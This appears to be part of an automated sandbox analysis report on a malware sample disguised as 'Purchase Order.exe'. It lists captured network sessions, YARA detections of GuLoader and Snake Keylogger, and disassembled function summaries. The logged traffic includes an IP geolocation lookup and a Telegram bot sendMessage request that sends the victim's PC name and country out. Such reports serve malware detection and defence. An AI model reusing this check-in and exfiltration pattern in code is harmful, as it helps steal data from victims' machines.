Timestamp	Bytes transferred	Direction	Data
2024-10-21 09:30:48 UTC	63	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-21 09:30:49 UTC	896	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:49 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 28714 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nPPRhjkcl%2BvQlZBkW4dNF3j0kxCG7ZVUiSq5ig11aQaslYW%2BZa3SfjyZiKEHa9q8epr27H6e6mbfCHzrkCymbMWftUb%2FBrpKHpQlIDnH7O0ptsCRFLnTVc%2FPxGsMbgm8K20n5Nml"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d603b282f376b47-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1113&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2462585&cwnd=251&unsent_bytes=0&cid=7fded5e6b87ac194&ts=147&x=0"
2024-10-21 09:30:49 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 09:30:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49987	188.114.97.3	443	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 09:30:52 UTC	63	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-21 09:30:52 UTC	892	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:52 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 28717 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pHtt1IweCp3UwqLo0C5GJtiCqLsHtnw0dcca11wgg6qaFNyMU5le%2BT30wGGB7cIh7mcf6oQYeKrKA2MqIfYwBEL9fkdpoH9cy%2BHJfH0ehiMUMtETSDGMQn6FfPkr3lYnyflkhc9u"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d603b3d5b566ba6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1739&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1664367&cwnd=251&unsent_bytes=0&cid=ac23ecdfbeaff331&ts=147&x=0"
2024-10-21 09:30:52 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 09:30:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49988	149.154.167.220	443	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 09:30:53 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20and%20Time:%2021/10/2024%20/%2017:55:09%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20210979%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-21 09:30:53 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 21 Oct 2024 09:30:53 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-21 09:30:53 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	05:29:07
Start date:	21/10/2024
Path:	C:\Users\user\Desktop\Purchase Order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase Order.exe"
Imagebase:	0x400000
File size:	1'055'136 bytes
MD5 hash:	46AE79C53627F188D4C316ADB7635524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2755799259.0000000005F62000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:30:11
Start date:	21/10/2024
Path:	C:\Users\user\Desktop\Purchase Order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase Order.exe"
Imagebase:	0x400000
File size:	1'055'136 bytes
MD5 hash:	46AE79C53627F188D4C316ADB7635524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3384062771.000000003692F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	23.9%
Dynamic/Decrypted Code Coverage:	13.9%
Signature Coverage:	21.3%
Total number of Nodes:	1520
Total number of Limit Nodes:	53

Executed Functions

Function 004032BF Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 357
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032E4
GetVersion.KERNEL32 ref: 004032EA
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403313
#17.COMCTL32(00000007,00000009), ref: 00403335
OleInitialize.OLE32(00000000), ref: 0040333C
SHGetFileInfoA.SHELL32(0041ECF0,00000000,?,00000160,00000000), ref: 00403358
GetCommandLineA.KERNEL32(00422F20,NSIS Error), ref: 0040336D
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Purchase Order.exe",00000000), ref: 00403380
CharNextA.USER32(00000000,"C:\Users\user\Desktop\Purchase Order.exe",00000020), ref: 004033AB
GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004034A8
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034B9
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034C5
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034D9
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034E1
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004034F2
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004034FA
DeleteFileA.KERNELBASE(1033), ref: 0040350E

Part of subcall function 00406290: GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
Part of subcall function 00406290: GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

OleUninitialize.OLE32(?), ref: 004035BC
ExitProcess.KERNEL32 ref: 004035DD
GetCurrentProcess.KERNEL32(00000028,?), ref: 004036FA
OpenProcessToken.ADVAPI32(00000000), ref: 00403701
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403719
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403738
ExitWindowsEx.USER32(00000002,80040002), ref: 0040375C
ExitProcess.KERNEL32 ref: 0040377F

Part of subcall function 004056ED: MessageBoxIndirectA.USER32(00409230), ref: 00405748

Strings

", xrefs: 004033D0
C:\Users\user\Desktop\Purchase Order.exe, xrefs: 0040369A
"C:\Users\user\Desktop\Purchase Order.exe", xrefs: 00403373, 00403379, 00403532
~nsu, xrefs: 004035E8
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032D3
Low, xrefs: 004034DB
TEMP, xrefs: 004034ED
UXTHEME, xrefs: 00403307, 0040330C, 00403312
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing, xrefs: 00403599
.tmp, xrefs: 00403604
SeShutdownPrivilege, xrefs: 00403713
Error launching installer, xrefs: 00403574
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously, xrefs: 0040348D, 0040358E, 00403638, 00403641
C:\Users\user\Desktop, xrefs: 0040360F, 00403614, 00403640
NSIS Error, xrefs: 0040335E
\Temp, xrefs: 004034BF
TMP, xrefs: 004034F5
C:\Users\user\AppData\Local\Temp\, xrefs: 0040349D, 004034A2, 004034B8, 004034C4, 004034D3, 004034E0, 004034EC, 004034F4, 004035ED, 004035FE, 00403609, 00403615, 00403622, 00403631, 004036E0
1033, xrefs: 00403509

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
String ID: "$"C:\Users\user\Desktop\Purchase Order.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Purchase Order.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3329125770-3675847306
Opcode ID: e89bfe13b8eb1ba36e43d38e3c68fc4bfbdc91619f963e3beaaf1f3555cbe72f
Instruction ID: 987bc29005933e48b9d04248005189ae3273ffe916fb5a61461eda946c2e522c
Opcode Fuzzy Hash: e89bfe13b8eb1ba36e43d38e3c68fc4bfbdc91619f963e3beaaf1f3555cbe72f
Instruction Fuzzy Hash: FCC109706082816AE7216F259D49A2F3EACEF81706F44447FF481761E2CB7C9A05CB6E

Function 0040524E Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004052AD
GetDlgItem.USER32(?,000003EE), ref: 004052BC
GetClientRect.USER32(?,?), ref: 004052F9
GetSystemMetrics.USER32(00000002), ref: 00405300
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405321
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405332
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405345
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405353
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405366
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405388
ShowWindow.USER32(?,00000008), ref: 0040539C
GetDlgItem.USER32(?,000003EC), ref: 004053BD
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004053CD
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004053E6
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004053F2
GetDlgItem.USER32(?,000003F8), ref: 004052CB

Part of subcall function 00404111: SendMessageA.USER32(00000028,?,00000001,00403F42), ref: 0040411F

GetDlgItem.USER32(?,000003EC), ref: 0040540E
CreateThread.KERNELBASE(00000000,00000000,Function_000051E2,00000000), ref: 0040541C
CloseHandle.KERNELBASE(00000000), ref: 00405423
ShowWindow.USER32(00000000), ref: 00405446
ShowWindow.USER32(?,00000008), ref: 0040544D
ShowWindow.USER32(00000008), ref: 00405493
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004054C7
CreatePopupMenu.USER32 ref: 004054D8
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004054ED
GetWindowRect.USER32(?,000000FF), ref: 0040550D
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405526
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405562
OpenClipboard.USER32(00000000), ref: 00405572
EmptyClipboard.USER32 ref: 00405578
GlobalAlloc.KERNEL32(00000042,?), ref: 00405581
GlobalLock.KERNEL32(00000000), ref: 0040558B
SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040559F
GlobalUnlock.KERNEL32(00000000), ref: 004055B8
SetClipboardData.USER32(00000001,00000000), ref: 004055C3
CloseClipboard.USER32 ref: 004055C9

Strings

Nonbeneficial Setup: Installing, xrefs: 0040553E

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: Nonbeneficial Setup: Installing
API String ID: 590372296-485038270
Opcode ID: bd05f583e1d858ca64e0ebc0ccb0213cdf64d916f2755f86f6f3f2ff8d205a57
Instruction ID: e0dc4773203ce2f112709eab9a11bfc184f4d069c8d5349c47d5b80479340f4b
Opcode Fuzzy Hash: bd05f583e1d858ca64e0ebc0ccb0213cdf64d916f2755f86f6f3f2ff8d205a57
Instruction Fuzzy Hash: 10A148B1900208BFDF119F60DD89AAE7BB9FB48355F00407AFA01B61A0C7B55E51DF69

Function 00405F19 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00405148,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000), ref: 00405FCA
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00406045
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00406058
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00406094
SHGetPathFromIDListA.SHELL32(00000000,Call), ref: 004060A2
CoTaskMemFree.OLE32(00000000), ref: 004060AD
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004060CF
lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00405148,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000), ref: 00406121

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060C9
Call, xrefs: 00405F40, 00406012, 0040602F, 00406044, 00406057, 00406073, 0040609E, 004060CE, 004060D4, 004060EC, 004060FF, 0040611A, 00406120, 0040612B, 00406155
Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll, xrefs: 00405F48
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406014

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1446170568
Opcode ID: 91bdcf4667245f18d3d7c7fe1ddc958c0af6ea5d13b0ad944f7f20b056a88a1b
Instruction ID: 17f1afa1df4653d6aa239bb2462815deac18f6a32033811d9d8cd7bf3bfa2e02
Opcode Fuzzy Hash: 91bdcf4667245f18d3d7c7fe1ddc958c0af6ea5d13b0ad944f7f20b056a88a1b
Instruction Fuzzy Hash: 68613671A00111AEDF209F24CC84BBF3BA8EB45314F12813BE942BA2D1D77D4962DB5E

Function 00405799 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,75923410,75922EE0,00000000), ref: 004057C2
lstrcatA.KERNEL32(00420D38,\*.*,00420D38,?,?,75923410,75922EE0,00000000), ref: 0040580A
lstrcatA.KERNEL32(?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 0040582B
lstrlenA.KERNEL32(?,?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 00405831
FindFirstFileA.KERNELBASE(00420D38,?,?,?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 00405842
FindNextFileA.KERNELBASE(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004058EF
FindClose.KERNEL32(00000000), ref: 00405900

Strings

"C:\Users\user\Desktop\Purchase Order.exe", xrefs: 00405799
8B, xrefs: 004057F2
\*.*, xrefs: 00405804

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Purchase Order.exe"$8B$\*.*
API String ID: 2035342205-50530147
Opcode ID: cfe99db393b1e675a819fff40dd9f0895a0815041bfdd0424623d1025dab5344
Instruction ID: 8d03ba635bdf6d692437a4f2007131f6bbb84493a6188974bf12e3b4770be62e
Opcode Fuzzy Hash: cfe99db393b1e675a819fff40dd9f0895a0815041bfdd0424623d1025dab5344
Instruction Fuzzy Hash: 3E51AF71900A14EADF217B618C49BAF7AB8DF42724F14807BF850762D2D73C8992DE6D

Function 004020CD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407408,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040214C
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F8

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing, xrefs: 0040218C

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing
API String ID: 123533781-2517315260
Opcode ID: f23b3e070ea651c53f475647926b923c96bbc9cd24cd4c0868bd15dc3a0dd132
Instruction ID: 13bc962cd5a1e0844f107594f4b7cb0b9a1bacf2988c66099de3663f442cfceb
Opcode Fuzzy Hash: f23b3e070ea651c53f475647926b923c96bbc9cd24cd4c0868bd15dc3a0dd132
Instruction Fuzzy Hash: 5A5107B5E00208BFCB00DFE4C988A9DBBB6EF48314F2445AAF515FB2D1DA799941CB54

Function 00406542 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e78d97ed3c230bfcbd776d1da080b0f670dc0f56a58da5166f9bdd2003ef958d
Instruction ID: 395035d2fa7d2bfd2a07fc8d885f942395c55dc3dc65efbd6096f39d55049081
Opcode Fuzzy Hash: e78d97ed3c230bfcbd776d1da080b0f670dc0f56a58da5166f9bdd2003ef958d
Instruction Fuzzy Hash: 18F16671D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7385A96DF44

Function 004061FB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(75923410,00421580,C:\,00405A9A,C:\,C:\,00000000,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0), ref: 00406206
FindClose.KERNEL32(00000000), ref: 00406212

Strings

C:\, xrefs: 004061FB

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
